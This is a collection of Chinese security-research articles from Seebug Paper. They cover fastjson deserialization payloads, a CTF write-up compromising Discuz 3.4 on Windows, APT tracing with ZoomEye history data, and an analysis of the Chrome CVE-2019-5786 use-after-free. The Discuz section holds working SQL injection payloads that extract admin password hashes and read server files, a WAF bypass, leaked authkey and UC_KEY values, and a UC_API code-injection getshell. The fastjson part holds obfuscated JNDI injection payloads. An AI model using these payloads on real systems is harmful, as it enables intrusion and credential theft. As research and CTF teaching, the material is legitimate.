"\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}有些师傅也通过扫描maven仓库包来寻找符合jackson、fastjson的恶意利用类,似乎大多数都是在寻找jndi类型的漏洞。对于跑黑名单,可以看下这个项目,跑到1.2.62版本了,跑出来了大多数黑名单,不过很多都是包,具体哪个类还得去包中一一寻找。
参考链接
- https://paper.seebug.org/994/#0x03
- https://paper.seebug.org/1155/
- https://paper.seebug.org/994/
- https://paper.seebug.org/292/
- https://paper.seebug.org/636/
- https://www.anquanke.com/post/id/182140#h2-1
- https://github.com/LeadroyaL/fastjson-blacklist
- http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-47
- http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
- http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/#0x03-%E6%96%B9%E6%B3%95%E4%BA%8C-%E5%88%A9%E7%94%A8java-net-InetSocketAddress
- https://xz.aliyun.com/t/7027#toc-4
- https://zhuanlan.zhihu.com/p/99075925
- ...
太多了,感谢师傅们的辛勤记录。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1192/
- 这里的@type就是对应常说的autotype功能,简单理解为fastjson会自动将json的
-
空指针-Base on windows Writeup — 最新版DZ3.4实战渗透
作者:LoRexxar'@知道创宇404实验室
时间:2020年5月11日
英文链接: https://paper.seebug.org/1205/周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。
与默认环境的区别是,我们这次拥有两个额外的条件。
1、Web环境的后端为Windows
2、我们获得了一份config文件,里面有最重要的authkey得到这两个条件之后,我们开始这次的渗透过程。
以下可能会多次提到的出题人写的DZ漏洞整理
authkey有什么用?
12/ ------------------------- CONFIG SECURITY -------------------------- //$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用
authkey
和cookie中的saltkey加密构造的。当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)
配合authkey,我们可以配合
source/include/misc/misc_emailcheck.php
中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。可以用下面的脚本计算formhash
123456$username = "ddog";$uid = 51;$saltkey = "SuPq5mmP";$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";$authkey = md5($config_authkey.$saltkey);$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。
1、Web环境的后端为Windows
2、dz有正常的备份数据,备份数据里有重要的key值windows短文件名安全问题
在2019年8月,dz曾爆出过这样一个问题。
在windows环境下,有许多特殊的有关通配符类型的文件名展示方法,其中不仅仅有
<>"
这类可以做通配符的符号,还有类似于~
的省略写法。这个问题由于问题的根在服务端,所以cms无法修复,所以这也就成了一个长久的问题存在。具体的细节可以参考下面这篇文章:
配合这两篇文章,我们可以直接去读数据库的备份文件,这个备份文件存在
1/data/backup_xxxxxx/200509_xxxxxx-1.sql我们可以直接用
1http://xxxxx/data/backup~1/200507~2.sql拿到数据库文件
从数据库文件中,我们可以找到UC_KEY(dz)
在
pre_ucenter_applications
的authkey字段找到UC_KEY(dz)至此我们得到了两个信息:
1234567uckeyx9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5authkey87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E当我们有了这两个key之后,我们可以直接调用uc_client的uc.php任意api。,后面的进一步利用也是建立在这个基础上。
uc.php api 利用
这里我们主要关注
/api/uc.php
通过
UC_KEY
来计算code,然后通过authkey
计算formhash,我们就可以调用当前api下的任意函数,而在这个api下有几个比较重要的操作。我们先把目光集中到
updateapps
上来,这个函数的特殊之处在于由于DZ直接使用preg_replace
替换了UC_API
,可以导致后台的getshell。具体详细分析可以看,这个漏洞最初来自于@dawu,我在CSS上的演讲中提到过这个后台getshell:
- https://paper.seebug.org/1144/#getwebshell
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
根据这里的操作,我们可以构造
$code = 'time='.time().'&action=updateapps';
来触发updateapps,可以修改配置中的
UC_API
,但是在之前的某一个版本更新中,这里加入了条件限制。1234if($post['UC_API']) {$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);unset($post['UC_API']);}由于过滤了单引号,导致我们注入的uc api不能闭合引号,所以单靠这里的api我们没办法完成getshell。
换言之,我们必须登录后台使用后台的修改功能,才能配合getshell。至此,我们的渗透目标改为如何进入后台。
如何进入DZ后台?
首先我们必须明白,DZ的前后台账户体系是分离的,包括uc api在内的多处功能,login都只能登录前台账户,
也就是说,进入DZ的后台的唯一办法就是必须知道DZ的后台密码,而这个密码是不能通过前台的忘记密码来修改的,所以我们需要寻找办法来修改密码。
这里主要有两种办法,也对应两种攻击思路:
1、配合报错注入的攻击链
2、使用数据库备份还原修改密码1、配合报错注入的攻击链
继续研究uc.php,我在renameuser中找到一个注入点。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263function renameuser($get, $post) {global $_G;if(!API_RENAMEUSER) {return API_RETURN_FORBIDDEN;}$tables = array('common_block' => array('id' => 'uid', 'name' => 'username'),'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),'common_mytask' => array('id' => 'uid', 'name' => 'username'),'common_report' => array('id' => 'uid', 'name' => 'username'),'forum_thread' => array('id' => 'authorid', 'name' => 'author'),'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),'forum_post' => array('id' => 'authorid', 'name' => 'author'),'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),'home_album' => array('id' => 'uid', 'name' => 'username'),'home_blog' => array('id' => 'uid', 'name' => 'username'),'home_clickuser' => array('id' => 'uid', 'name' => 'username'),'home_docomment' => array('id' => 'uid', 'name' => 'username'),'home_doing' => array('id' => 'uid', 'name' => 'username'),'home_feed' => array('id' => 'uid', 'name' => 'username'),'home_feed_app' => array('id' => 'uid', 'name' => 'username'),'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),'home_notification' => array('id' => 'authorid', 'name' => 'author'),'home_pic' => array('id' => 'uid', 'name' => 'username'),'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),'home_share' => array('id' => 'uid', 'name' => 'username'),'home_show' => array('id' => 'uid', 'name' => 'username'),'home_specialuser' => array('id' => 'uid', 'name' => 'username'),'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),'portal_article_title' => array('id' => 'uid', 'name' => 'username'),'portal_comment' => array('id' => 'uid', 'name' => 'username'),'portal_topic' => array('id' => 'uid', 'name' => 'username'),'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),);if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));}loadcache("posttableids");if($_G['cache']['posttableids']) {foreach($_G['cache']['posttableids'] AS $tableid) {$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');}}foreach($tables as $table => $conf) {DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");}return API_RETURN_SUCCEED;}在函数的最下面,
$get[newusername]
被直接拼接进了update语句中。但可惜的是,这里链接数据库默认使用mysqli,并不支持堆叠注入,所以我们没办法直接在这里执行update语句来更新密码,这里我们只能构造报错注入来获取数据。
1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';这里值得注意的是,DZ自带的注入waf挺奇怪的,核心逻辑在
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697\source\class\discuz\discuz_database.php line 375if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {$clean = preg_replace("/'(.+?)'/s", '', $sql);} else {$len = strlen($sql);$mark = $clean = '';for ($i = 0; $i < $len; $i++) {$str = $sql[$i];switch ($str) {case '`':if(!$mark) {$mark = '`';$clean .= $str;} elseif ($mark == '`') {$mark = '';}break;case '\'':if (!$mark) {$mark = '\'';$clean .= $str;} elseif ($mark == '\'') {$mark = '';}break;case '/':if (empty($mark) && $sql[$i + 1] == '*') {$mark = '/*';$clean .= $mark;$i++;} elseif ($mark == '/*' && $sql[$i - 1] == '*') {$mark = '';$clean .= '*';}break;case '#':if (empty($mark)) {$mark = $str;$clean .= $str;}break;case "\n":if ($mark == '#' || $mark == '--') {$mark = '';}break;case '-':if (empty($mark) && substr($sql, $i, 3) == '-- ') {$mark = '-- ';$clean .= $mark;}break;default:break;}$clean .= $mark ? '' : $str;}}if(strpos($clean, '@') !== false) {return '-3';}$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}if (is_array(self::$config['dfunction'])) {foreach (self::$config['dfunction'] as $fun) {if (strpos($clean, $fun . '(') !== false)return '-1';}}if (is_array(self::$config['daction'])) {foreach (self::$config['daction'] as $action) {if (strpos($clean, $action) !== false)return '-3';}}if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {return '-2';}if (is_array(self::$config['dnote'])) {foreach (self::$config['dnote'] as $note) {if (strpos($clean, $note) !== false)return '-4';}}然后config中相关的配置为
123456789101112131415161718$_config['security']['querysafe']['dfunction']['0'] = 'load_file';$_config['security']['querysafe']['dfunction']['1'] = 'hex';$_config['security']['querysafe']['dfunction']['2'] = 'substring';$_config['security']['querysafe']['dfunction']['3'] = 'if';$_config['security']['querysafe']['dfunction']['4'] = 'ord';$_config['security']['querysafe']['dfunction']['5'] = 'char';$_config['security']['querysafe']['daction']['0'] = '@';$_config['security']['querysafe']['daction']['1'] = 'intooutfile';$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';$_config['security']['querysafe']['daction']['3'] = 'unionselect';$_config['security']['querysafe']['daction']['4'] = '(select';$_config['security']['querysafe']['daction']['5'] = 'unionall';$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';$_config['security']['querysafe']['dnote']['0'] = '/*';$_config['security']['querysafe']['dnote']['1'] = '*/';$_config['security']['querysafe']['dnote']['2'] = '#';$_config['security']['querysafe']['dnote']['3'] = '--';$_config['security']['querysafe']['dnote']['4'] = '"';这道题目特殊的地方在于,他开启了
afullnote
123if (self::$config['afullnote']) {$clean = str_replace('/**/', '', $clean);}由于
/**/
被替换为空,所以我们可以直接用前面的逻辑把select加入到这中间,之后被替换为空,就可以绕过这里的判断。当我们得到一个报错注入之后,我们尝试读取文件内容,发现由于mysql是
5.5.29
,所以我们可以直接读取服务器上的任意文件。1$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';思路走到这里出现了断层,因为我们没办法知道web路径在哪里,所以我们没办法直接读到web文件,这里我僵持了很久,最后还是因为第一个人做出题目后密码是弱密码,我直接查出来进了后台。
在事后回溯的过程中,发现还是有办法的,虽然说对于windows来说,web的路径很灵活,但是实际上对于集成环境来说,一般都安装在c盘下,而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp,这两个路径分别为
12- /wamp64/www/- /phpstudy_pro/WWW/找到相应的路径之后,我们可以读取
\uc_server\data\config.inc.php
得到uc server的UC_KEY
.之后我们可以直接调用
/uc_server/api/dpbak.php
中定义的1234567891011121314151617181920212223function sid_encode($username) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$check = substr(md5($ip.$agent), 0, 8);return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));}function sid_decode($sid) {$ip = $this->onlineip;$agent = $_SERVER['HTTP_USER_AGENT'];$authkey = md5($ip.$agent.UC_KEY);$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);if(empty($s)) {return FALSE;}@list($username, $check) = explode("\t", $s);if($check == substr(md5($ip.$agent), 0, 8)) {return $username;} else {return FALSE;}}构造管理员的sid来绕过权限验证,通过这种方式我们可以修改密码并登录后台。
2、使用数据库备份还原修改密码
事实上,当上一种攻击方式跟到uc server的
UC_KEY
时,就不难发现,在/uc_server/api/dbbak.php
中有许多关于数据库备份与恢复的操作,这也是我之前没发现的点。事实上,在
/api/dbbak.php
就有一模一样的代码和功能,而那个api只需要DZ的UC_KEY
就可以操作,我们可以在前台找一个地方上传,然后调用备份恢复覆盖数据库文件,这样就可以修改管理员的密码。后台getshell
登录了之后就比较简单了,首先
修改uc api 为
1http://127.0.0.1/uc_server');phpinfo();//然后使用预先准备poc更新uc api
这里返回11就可以了
写在最后
整道题目主要围绕的DZ的核心密钥安全体系,实际上除了在windows环境下,几乎没有其他的特异条件,再加上短文件名问题原因主要在服务端,我们很容易找到备份文件,在找到备份文件之后,我们可以直接从数据库获得最重要的authkey和uc key,接下来的渗透过程就顺理成章了。
从这篇文章中,你也可以窥得在不同情况下利用方式得拓展,配合原文阅读可以获得更多的思路。
REF
- https://paper.seebug.org/1144/
- https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2
- https://lorexxar.cn/2017/08/31/dz-authkey/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1197/
-
使用 ZoomEye 寻找 APT 攻击的蛛丝马迹
作者:Heige(a.k.a Superhei) of KnownSec 404 Team
时间:2020年5月25日
英文链接:https://paper.seebug.org/1220/今年一月发布的ZoomEye 2020里上线了ZoomEye的历史数据查询API接口,这个历史数据接口还是非常有价值的,这里就介绍我这几天做的一些尝试追踪APT的几个案例。
在开始之前首先你需要了解ZoomEye历史api接口的使用,参考文档:https://www.zoomeye.org/doc#history-ip-search 这里可以使用的是ZoomEye SDK https://github.com/knownsec/ZoomEye 另外需要强调说明下的是:ZoomEye线上的数据是覆盖更新的模式,也就是说第2次扫描如果没有扫描到数据就不会覆盖更新数据,ZoomEye上的数据会保留第1次扫描获取到的banner数据,这个机制在这种恶意攻击溯源里其实有着很好的场景契合点:恶意攻击比如Botnet、APT等攻击使用的下载服务器被发现后一般都是直接停用抛弃,当然也有一些是被黑的目标,也是很暴力的直接下线!所以很多的攻击现场很可能就被ZoomEye线上缓存。
当然在ZoomEye历史api里提供的数据,不管你覆盖不覆盖都可以查询出每次扫描得到的banner数据,但是目前提供的ZoomEye历史API只能通过IP去查询,而不能通过关键词匹配搜索,所以我们需要结合上面提到的ZoomEye线上缓存数据搜索定位配合使用。
案例一:Darkhotel APT
在前几天其实我在“黑科技”知识星球里提到了,只是需要修复一个“bug”:这次Darkhotel使用的IE 0day应该是CVE-2019-1367 而不是CVE-2020-0674(感谢廋肉丁@奇安信),当然这个“bug”不影响本文的主题。
从上图可以看出我们通过ZoomEye线上数据定位到了当时一个Darkhotel水坑攻击现场IP,我们使用ZoomEye SDK查询这个IP的历史记录:
1234567891011╭─heige@404Team ~╰─$pythonPython 2.7.16 (default, Mar 15 2019, 21:13:51)[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwinType "help", "copyright", "credits" or "license" for more information.import zoomeyezm = zoomeye.ZoomEye(username="xxxxx", password="xxxx")zm.login()u'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX...'data = zm.history_ip("202.x.x.x")22列举ZoomEye历史数据里收录这个IP数据的时间节点及对应端口服务
1234567891011121314151617181920212223242526...>>>for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)(u'2019-08-02T09:52:27', 80)(u'2019-07-27T19:22:11', 80)(u'2019-05-18T10:38:59', 8181)(u'2019-05-02T19:37:20', 8181)(u'2019-05-01T00:48:05', 8009)(u'2019-04-09T16:29:58', 8181)(u'2019-03-24T20:46:31', 8181)(u'2018-05-18T18:22:21', 137)(u'2018-02-22T20:50:01', 8181)(u'2017-03-13T03:11:39', 8181)(u'2017-03-12T16:43:54', 8181)(u'2017-02-25T09:56:28', 137)(u'2016-11-01T00:22:30', 137)(u'2015-12-30T22:53:17', 8181)(u'2015-03-13T20:17:45', 8080)(u'2015-03-13T19:33:15', 21)我们再看看被植入IE 0day的进行水坑攻击的时间节点及端口:
12345678910>>> for i in data['data']:... if "164.js" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)很显然这个水坑攻击的大致时间区间是从2019-10-06 05:24:44到2020-01-28 10:58:02,另外这个IP很显然不是攻击者购买的VPS之类,而是直接攻击了某个特定的网站来作为“水坑”进行攻击,可以确定的是这个IP网站早在2019-10-06之前就已经被入侵了!从这个水坑的网站性质可以基本推断Darkhotel这次攻击的主要目标就是访问这个网站的用户!
我们继续列举下在2019年这个IP开了哪些端口服务,从而帮助我们分析可能的入侵点:
123456789101112131415>>> for i in data['data']:... if "2019" in i['timestamp']:... print(i['timestamp'],i['portinfo']['port'],i['portinfo']['service'],i['portinfo']['product'])...(u'2019-11-25T05:27:58', 80, u'http', u'nginx')(u'2019-11-02T16:10:40', 80, u'http', u'nginx')(u'2019-10-31T11:39:02', 80, u'http', u'nginx')(u'2019-10-06T05:24:44', 80, u'http', u'nginx')(u'2019-08-02T09:52:27', 80, u'http', u'nginx')(u'2019-07-27T19:22:11', 80, u'http', u'nginx')(u'2019-05-18T10:38:59', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-02T19:37:20', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-01T00:48:05', 8009, u'ajp13', u'Apache Jserv')(u'2019-04-09T16:29:58', 8181, u'http', u'Apache httpd')(u'2019-03-24T20:46:31', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')很典型的JSP运行环境,在2019年5月的时候开了8009端口,Tomcat后台管理弱口令等问题一直都是渗透常用手段~~
顺带提一句,其实这次的攻击还涉及了另外一个IP,因为这个IP相关端口banner因为更新被覆盖了,所以直接通过ZoomEye线上搜索是搜索不到的,不过如果你知道这个IP也可以利用ZoomEye历史数据API来查询这个IP的历史数据,这里就不详细展开了。
案例二:毒云藤(APT-C-01)
关于毒云藤(APT-C-01)的详细报告可以参考 https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf我们直接把关注点放在
“毒云藤组织使用的一个用于控制和分发攻击载荷的控制域名 http://updateinfo.servegame.org”
“然后从
hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp
下载 payload”URL上,我们先尝试找下这个域名对应的IP,显然到现在这个时候还没有多大收获:
123╭─heige@404Team ~╰─$ping updateinfo.servegame.orgping: cannot resolve updateinfo.servegame.org: Unknown host在奇安信的报告里我们可以看到使用的下载服务器WEB服务目录可以遍历
所以我们应该可以直接尝试搜索那个文件名“tiny1detvghrt.tmp”,果然被我们找到了
这里我们可以基本确定了
updateinfo.servegame.org
对应的IP为165.227.220.223 那么我们开始老套路查询历史数据:1234567891011121314>>> data = zm.history_ip("165.227.220.223")>>> 9>>> for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2019-06-18T19:02:22', 22)(u'2018-09-02T08:13:58', 22)(u'2018-07-31T05:58:44', 22)(u'2018-05-20T00:55:48', 80)(u'2018-05-16T20:42:35', 22)(u'2018-04-08T07:53:00', 80)(u'2018-02-22T19:04:29', 22)(u'2017-11-21T19:09:14', 80)(u'2017-10-04T05:17:38', 80)继续看看这个
tiny1detvghrt.tmp
部署的时间区间:1234567>>> for i in data['data']:... if "tiny1detvghrt.tmp" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2018-05-20T00:55:48', 80)(u'2018-04-08T07:53:00', 80)(u'2017-11-21T19:09:14', 80)最起码可以确定从2017年11月底就已经开始部署攻击了,那么在这个时间节点之前还有一个时间节点2017-10-04 05:17:38,我们看看他的banner数据:
12345678910111213141516171819202122232425262728293031>>> for i in data['data']:... if "2017-10-04" in i['timestamp']:... print(i['raw_data'])...HTTP/1.1 200 OKDate: Tue, 03 Oct 2017 21:17:37 GMTServer: ApacheVary: Accept-EncodingContent-Length: 1757Connection: closeContent-Type: text/html;charset=UTF-8<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><title>Index of /</title></head><body><h1>Index of /</h1><table><tr><th valign="top">< img src="/icons/blank.gif" alt="[ICO]"></th><th>< a href=" ">Name</ a></th><th>< a href="?C=M;O=A">Last modified</ a></th><th>< a href="?C=S;O=A">Size</ a></th><th>< a href="?C=D;O=A">Description</ a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp">doajksdlfsadk.tmp</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp.1">doajksdlfsadk.tmp.1</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlrfadk.tmp">doajksdlrfadk.tmp</ a></td><td align="right">2017-09-27 06:36 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="dvhrksdlfsadk.tmp">dvhrksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:38 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="vfajksdlfsadk.tmp">vfajksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:37 </td><td align="right">4.9K</td><td> </td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="wget-log">wget-log</ a></td><td align="right">2017-09-20 07:24 </td><td align="right">572 </td><td> </td></tr><tr><th colspan="5"><hr></th></tr></table></body></html>从这个banner数据里可以得出结论,这个跟第一个案例里目标明确的入侵后植入水坑不一样的是,这个应该是攻击者自主可控的服务器,从
doajksdlfsadk.tmp
这些文件命名方式及文件大小(都为4.9k)基本可以推断这个时间节点应该是攻击者进行攻击之前的实战演练!所以这个IP服务器一开始就是为了APT攻击做准备的,到被发现后就直接抛弃!总结
网络空间搜索引擎采用主动探测方式在网络攻击威胁追踪上有很大的应用空间,也体现了历史数据的价值,通过时间线最终能复盘攻击者的攻击手段、目的及流程。最后感谢所有支持ZoomEye的朋友们,ZoomEye作为国际领先的网络空间测绘搜索引擎,我们一直在努力!
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1219/
-
CVE-2019-5786 漏洞原理分析及利用
作者:Kerne7@知道创宇404实验室
时间:2020年6月29日从补丁发现漏洞本质
首先根据谷歌博客收集相关CVE-2019-5786漏洞的资料:High CVE-2019-5786: Use-after-free in FileReader,得知是FileReader上的UAF漏洞。
然后查看https://github.com/chromium/chromium/commit/ba9748e78ec7e9c0d594e7edf7b2c07ea2a90449?diff=split上的补丁
对比补丁可以看到
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer())
,操作放到了判断finished_loading后面,返回值也从result变成了array_buffer_result_(result的拷贝)。猜测可能是这个返回值导致的问题。分析代码
raw_data_->ToArrayBuffer()
可能会返回内部buffer的拷贝,或者是返回一个指向其偏移buffer的指针。根据MDN中FileReader.readAsArrayBuffer()的描述:
FileReader 接口提供的 readAsArrayBuffer() 方法用于启动读取指定的 Blob 或 File 内容。当读取操作完成时,readyState 变成 DONE(已完成),并触发 loadend 事件,同时 result 属性中将包含一个 ArrayBuffer 对象以表示所读取文件的数据。
FileReader.onprogress事件在处理progress时被触发,当数据过大的时候,onprogress事件会被多次触发。
所以在调用FileReader.result属性的时候,返回的是WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer对象的指针,Blob未被读取完时,指向一个WTF::ArrayBuffer副本,在已经读取完的时候返回WTF::ArrayBufferBuilder创建的WTF::ArrayBuffer自身。
那么在标志finished_loading被置为ture的时候可能已经加载完毕,所以onprogress和onloaded事件中返回的result就可能是同一个result。通过分配给一个worker来释放其中一个result指针就可以使另一个为悬挂指针,从而导致UAF漏洞。
漏洞利用思路
我选择的32位win7环境的Chrome72.0.3626.81版本,可以通过申请1GB的ArrayBuffer,使Chrome释放512MB保留内存,通过异常处理使OOM不会导致crash,然后在这512MB的内存上分配空间。
调用FileReader.readAsArrayBuffer,将触发多个onprogress事件,如果事件的时间安排正确,则最后两个事件可以返回同一个ArrayBuffer。通过释放其中一个指针来释放ArrayBuffer那块内存,后面可以使用另一个悬挂指针来引用这块内存。然后通过将做好标记的JavaScript对象(散布在TypedArrays中)喷洒到堆中来填充释放的区域。
通过悬挂的指针查找做好的标记。通过将任意对象的地址设置为找到的对象的属性,然后通过悬挂指针读取属性值,可以泄漏任意对象的地址。破坏喷涂的TypedArray的后备存储,并使用它来实现对地址空间的任意读写访问。
之后可以加载WebAssembly模块会将64KiB的可读写执行存储区域映射到地址空间,这样的好处是可以免去绕过DEP或使用ROP链就可以执行shellcode。
使用任意读取/写入原语遍历WebAssembly模块中导出的函数的JSFunction对象层次结构,以找到可读写可执行区域的地址。将WebAssembly函数的代码替换为shellcode,然后通过调用该函数来执行它。
通过浏览器访问网页,就会导致执行任意代码
帮助
本人在初次调试浏览器的时候遇到了很多问题,在这里列举出一些问题来减少大家走的弯路。
因为chrome是多进程模式,所以在调试的时候会有多个chrome进程,对于刚开始做浏览器漏洞那话会很迷茫不知道该调试那个进程或者怎么调试,可以通过chrome自带的任务管理器来帮我们锁定要附加调试的那个进程ID。
这里新的标签页的进程ID就是我们在后面要附加的PID。
Chrome调试的时候需要符号,这是google提供的符号服务器(加载符号的时候需要翻墙)。在windbg中,您可以使用以下命令将其添加到符号服务器搜索路径,其中c:\Symbols是本地缓存目录:
1.sympath + SRV * c:\ Symbols * https://chromium-browser-symsrv.commondatastorage.googleapis.com因为Chrome的沙箱机制,在调试的过程中需要关闭沙箱才可以执行任意代码。可以在快捷方式中添加
no-sandbox
来关闭沙箱。由于这个漏洞机制的原因,可能不是每次都能执行成功,但是我们可以通过多次加载脚本的方式来达到稳定利用的目的。
在github上有chromuim的源码,在分析源码的时候推荐使用sourcegraph这个插件,能够查看变量的定义和引用等。
